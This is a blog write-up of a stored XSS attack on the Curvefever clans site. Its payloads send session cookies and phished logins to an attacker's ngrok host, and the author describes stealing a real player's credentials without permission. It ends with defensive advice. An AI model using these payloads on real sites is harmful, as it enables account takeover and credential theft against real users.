XSS, aka Cross Site Scripting, is often explained pretty vaguely, and from my time incentivizing Dailymotion Frontend team, everybody grasped the concept but couldn’t fully get the potential from start to finish of an attack leveraging it.
This article will study the case of a game named Curvefever.
It’s a Multiplayer game based on the good old “Snake/Tron” principle.
(If you’re from the generation Y you had at least a friend with it on his NOKIA 3410)
The goal is to be the last one standing while your line keeps getting longer and longer.
The main feature being that these lines randomly draws “holes” for either you or you opponents to pass through.
At high levels it can lead to quite delightful fights.
The trick
As you might have guessed even with being a decent player, reaching top 5 is quite a performance with currently ~200k players in the leaderboard it requires you reaching the top 0.0025%
A website or application is as secure as is its less secure component.
And like in the movies it is your role as the attacker to find that component. The recon phase.
The main curvefever website (at the time of writing: 2015) was powered by an up to date Drupal and it didn’t seem they customized it enough to add the human error factor into account.
The main game for version 2 runs on Flash, that connected both to their own server and to Yahoo Games PlayerIO API. I guessed Yahoo did their job here and for a quick win it wasn’t the most obvious place to look.
Enters curvefever clans
Finally we come across clans.curvefever.com, supporting sending messages, invitations, notes, a paradise of user input data fields that can be abused.
An OpenID is a way of identifying yourself no matter which website you visit. Your most known version of it is probably this:
What to do first?
First, assess what frameworks / plugins the site uses from the Network panel: jQuery and Autobahn, the rest seems hand made.
Hand made is good, for us at least, to investigate about the top 10 most encountered vulnerabilities according to OWASP starting with one: XSS
XSS consists in injecting our own code into the existing web page.
Where to find these XSS?
In inputs, fields, parameters, anything that the server will take from us to start an action using it even if it’s just echoing it back.
As mentioned earlier, the clan page allows players to send each other messages, so let’s send one to ourself and see how it impacts the page.
When we receive it into the website inbox we get the following:
We notice that by putting the mouse over the subject a part of the message appears in the box governed by the title
attribute of an input
Alright next step is figuring out how many characters can be rendered from the message content shown in the title attribute, so we have a better understanding of our maneuvering radius by sending us… another message.
Alright we are allowed 50
chars to make the magic happen, IF this title attribute can be abused. (Spoiler alert: It is)
The html rendering the New!
inbox message is the following:
Usual vectors
In a world with no sanitizing of the data a replacing the message content: This-is-the-message
with">script>alert('Hello')</script>
would be enought, giving us back <span id="nolink" title=""><script>alert('Hello')</script>
in the page source code, proving the XSS possibility.
Sadly that would be a pretty easy win and would probably not deserve a blog entry either. what the server gave us back was: <span id="nolink" title="">
. Nothing passed.
Learning from the mistakes
From this first shot we can guess that message is discarded if script
tag is found
Evading the filter
The next step is to try several XSS “common” vectors. From experience and knowing the backend was PHP, coupled with nl2br()
mistakes, often seen, is to forget new lines in the sanity checking
Let’s craft a new email titledTesting new lines:
and the message:
"
=
</span>
=
</
=
<
=
span>
=
<
script>
alert(1)
<
/script
We finally get something unexpected in the inbox.
Finally we break the layout, believe me during the above phase of the crafting I usually feel more like a wizard dancing around a Troll and casting random spells until the layout breaks and I find he’s vulnerable to some kind of element.
The source was ultimately altered to: <span id="nolink" title="" =="=" <="" script=""> alert(1)</script"><a href="messages.php?message=39831"><span class="newm">New!</span> Testing new lines:</a></span>
Not exactly what we wanted but that will do. We can see that this went a bit crazy, some parts got removed, some didn’t. We indeed closed the title=""
but weren’t able to concatenate the script
tag with its surrounding chevrons, some of it got UrlEncoded
like<
and >
Drawing conclusions
From the previous tests it seems our best choice of attack will be to act using the attributes of this first <span>
while keeping in mind that we are allowed only 50
chars.
The XSS attacks can be split into two categories, those who execute automatically (ie: no user action required) and the triggered ones.
The shortest auto executing XSS here would be:
"
autofocus onfocus
=
'alert(1);'
But sadly, trying this we learn that we are only allowed 1
line jump and no space
between them or the subsequent lines get wonky. Breaking the XSS.
Triggered XSS: binding to user actions
So we narrowed it down to a 50
character max XSS user interaction driven. Meaning, hovering
, clicking
, scrolling
and so on.
A working messsage version is finally:
"onclick
=alert(1);a="
Which trigger the following:
Wait a minute what are we in for again?
In the case of a vulnerability disclosure event, that would be enough to constitute a Bounty Reward but for the sake of the experiment and for those who don’t realize the power of an XSS, let’s elaborate the attack.
First thing we want to get our hands on if possible, are the Cookies
as they represent the current user session.
As you can guess I didn’t censor them for the beauty of it and if you were to get this extension, my cookie adm...mc6
, and replace yours with mine while they are still valid, then refresh the page you would be logged as me.
to grab it we just have to replace alert(1)
with alert(document.cookie)
and we would see it pop up in the alert box.
Hey but I see the main curvefever.com cookie in the list, why not steal this one and replace it the same way and have access to the user?
Not so simple, cookies have flags
on them which defines enforced rules and what you can do with them.
The HttpOnly
flag means that javascript
is not able to get the content of this cookie by calling document.cookie
securing against XSS attacks towards identity stealing. But that’s only for the main domain, we’re currently acting on a sub domain: clans.curvefever.com
No HttpOnly
flag here. But a HostOnly
flag.
(Description here)
At this point I felt like, If I can get that I can impersonate any user on clans, but not on the main site aka: the game.
Exporting the cookie
The way to do it is instead of triggering an alert we trigger a request to our own website with the cookie passed along, with an Http Request
or Ajax
for those to whom it might ring a bell.
Except making a request is gonna consume way more characters than just outputting an alert()
box. And we are still stuck with 50
.
Compressing the XSS
The standard request code for current browsers to do while sending cookies is along the lines of
var req = new XMLHttpRequest();
req.open('GET', 'http://mysite.com/'+document.cookie, false);
req.send(null);
Great but that’s 115
characters and plenty of spaces
that are forbidden in this case. No good.
Then again the longer your website URL is the more characters you’re losing on your 50
allowed.
Given the current state of the domain names squatting you would be lucky to have a 6
letters .com
domain name.
(Or have to pay a lot)
Introducing ngrok
Ngrok is a tunneling service to your localhost
and allows you to have custom urls in the form of http://yourdomain.ngrok.io
Sending the cookie
One interesting point of being in the context of an XSS attack is that you can use any library the website uses to your advantage.
Remember earlier during the framework checking, we know we foundjQuery
.Giving access to it usually renamed as $
and j
Combined with our new ultra cool and short url b.ngrok.io
we get enough room to pull it off with a message containing:
"onclick
=j.get('http://f.ngrok.io/'+document.cookie);"
Then we go to http://localhost:4040/inspect/http
and wait for the magic to happen.
And we receive at the same time in Ngrok tunnel inspection:
If I were to be waiting and took that PHPSESSID
while valid and change my own for this one. I would be logged in clans.curvefever as the person who clicked the message.
Yeah well played you can steal user accounts on clans! Send other people messages and trick them, awesome!
Not yet. It’s good. But not the intended goal.
Remember the beginning of the article about OpenID ? And that sweet popup that ask for login with real curvefever.com user and password?
What if we could take control over this one now?
Moreover, when the user clicks the message for now, he sees the weird code message after and might suspect that something is up to no good and warning the maintainers. We don’t want that.
Covering our tracks
Being able to inject a script is basically being in godlike mode as long as you know what you want to do.
- Change our message so it injects another script to bypass the
50
limitation. - Interrupt the page change.
- Do our things while the user thinks he waits for the message to be loaded by leveraging their existing
jQuery
once more.
"onmouseover
=j.getScript('//f.ngrok.io/a');a="
Now we’re acting upon mouseover and not click anymore. Why? It’s faster to execute. The hover usually takes places then the click, even if you’re super fast with your mouse/trackpad
The /a
route will be serving our javascript code as a plain js file. And jQuery will load it in the page. Great !
Warning: Remember that you’re usually not allowed to $.getScript
from a different origin
so our malicious servers is sending CORS headers (ie: Access-Control-Allow-Origin: *)
Stopping the flow and preventing spam click
Currently if our user gets impatient of has parkinson since the two events are racing each other: mouseover loading our malicious script and the click trying to navigate to the full message page, we need to stop the last one by using:
if (window.stop) { stop() } else { document.execCommand("Stop"); }
For Internet Explorer and Webkit support.
Then stopping the propagation and preventing default.
$('#hlavnicast span[onmouseover] a').attr('src','#'); $('#hlavnicast span[onmouseover]').on('click','a',function(e){ e.preventDefault(); e.stopImmediatePropagation(); });
We are targeting message links and changing their src with #
(transforming them into mere anchors) and make sure that nothing happens if he keeps clicking on it.
Ok now our page is halted and the user won’t be redirected to read the message.
Deleting our incriminating message
Piece of cake, since we’re driving the browser, we’ll simply make the browser open the link of the [Delete]
message button in an invisible iframe
Logging the user out while still preserving control
Our current XSS only applies to the inbox page where it is loaded by echoing back unsafe data from the message field of the message.
We want to mess with the login popup to be able to pull our trick.
The solution? The same way we deleted our message, we call the logout
function without making the user navigate away but in an iframe
that gets OVER the current content of the page (the inbox). Superposing the two. And making the one under disappear.
This iframe
is now acting as the current new page in the eyes of the user.
The whole point of creating a new iframe on top is that we can alter its content from the inbox page that is under and which is still running our XSS
It works because the page that created the iframe
(inbox) and the iframe
operates on the same domain
both respectively at /messages
and /logout
A closer look at the interesting functions regarding the login
Taking control of the Sign in popup
The popup window function is handled by window.openPopupWindow()
We will replace the iframe window.openPopupWindow()
to actually open the popup WE choose by assigning a new function myEvilPopup
(not shown) to it.
Making use of jQuery .load()
callback we’ll craft myEvilPopup
so it opens their Twitter page instead: https://mobile.twitter.com/curvefevergame
An actually nice point was that openPopupWindow
was part of the global
scope no extra digging to replace it at the correct instantiation time or other.
What do we put in the evil popup?
Time to get old school and create a minimalistic and convincing copy of the content of the original window but with only what is needed.
Pretty convincing, that will do.
Lets edit popupLoad()
content to load in it our newly crafted Login clone HTML.
What have we done here?
- We open the normal login popup which is on the same domain so we control any contents it holds, like previously for the iframe.
- We change the URL bar to be as close as possible as the real one
- We change the content as fast as we can without breaking the flow: Trying to change it too fast will not work because the popup
w.document
might not be writable yet.
The URL is almost similar but not quite. http://clans.curvefever.com/user/login?destination=openid/provider/continue
is our fake one and
http://curvefever.com/user/login?destination=openid/provider/continue
is the legitimate one
Would you have caught it? Probably not if you’re not from the developer staff. If yes, kudos, you didn’t get fooled and are very alert.
Let’s look at the flow with fake data inputed:
We receive the encoded login in the URL Tm9wZUJyb35+fmJyb3Bhc3N3b3Jk
That we decode with atob("Tm9wZUJyb35+fmJyb3Bhc3N3b3Jk")
Giving US: "NopeBro~~~bropassword"
And that’s it the flow is complete. Here’s a full recording of the XSS happening from start like a basic user would encounter it:
What about this top player account? I need closure
You can see where this is going, we send an intriguing message to our beloved from earlier Gilnash
which is a top player asking for help (no offense, you're a good player, and I love Yugioh too.) along with our well-formed message.
You spin up the node server that wait for the user and soon enough you get a
Delivered: 16:22:36 GMT-0400 (EDT) --> 77.XXX.XXX.169 GET /R2lsbmFzaH5+fm5vdHB1dHRpbmdJdEluVGhldHV0b3JpYWw=
Then, we reverse like shown before with atob("R2lsbmFzaH5+fm5vdHB1dHRpbmdJdEluVGhldHV0b3JpYWw=")
and we get his credentials.
And he wasn’t happy either. I can understand.
Conclusions
Always go https
when possible, flag your cookies HttpOnly
if possible and secure
, and sanitize your outputs. Using some library like the excellent https://github.com/cure53/DOMPurify
For developers, I recommend reading
http://blog.slaks.net/2015-10-13/web-authentication-arms-race-a-tale-of-two-security-experts/
For users, learn to know the URLs and behavior of the websites you’re using and always triple check URLs bars.
Eventually, the admins got wind of it and I received some lovely encrypted “I got you” messages in my tunnel and the bug was patched the day after giving the following
MAINTENANCE: 12:30 - 13:00 CET, Curve Clans will not be available due to a planned maintenance. CLICK HERE TO TRY IT AGAIN
You can find the full payload loaded by the getScript
here
Remembers that CORS apply to javascript queried from different domains so for Node you would need something like this
Remember, never trust user input.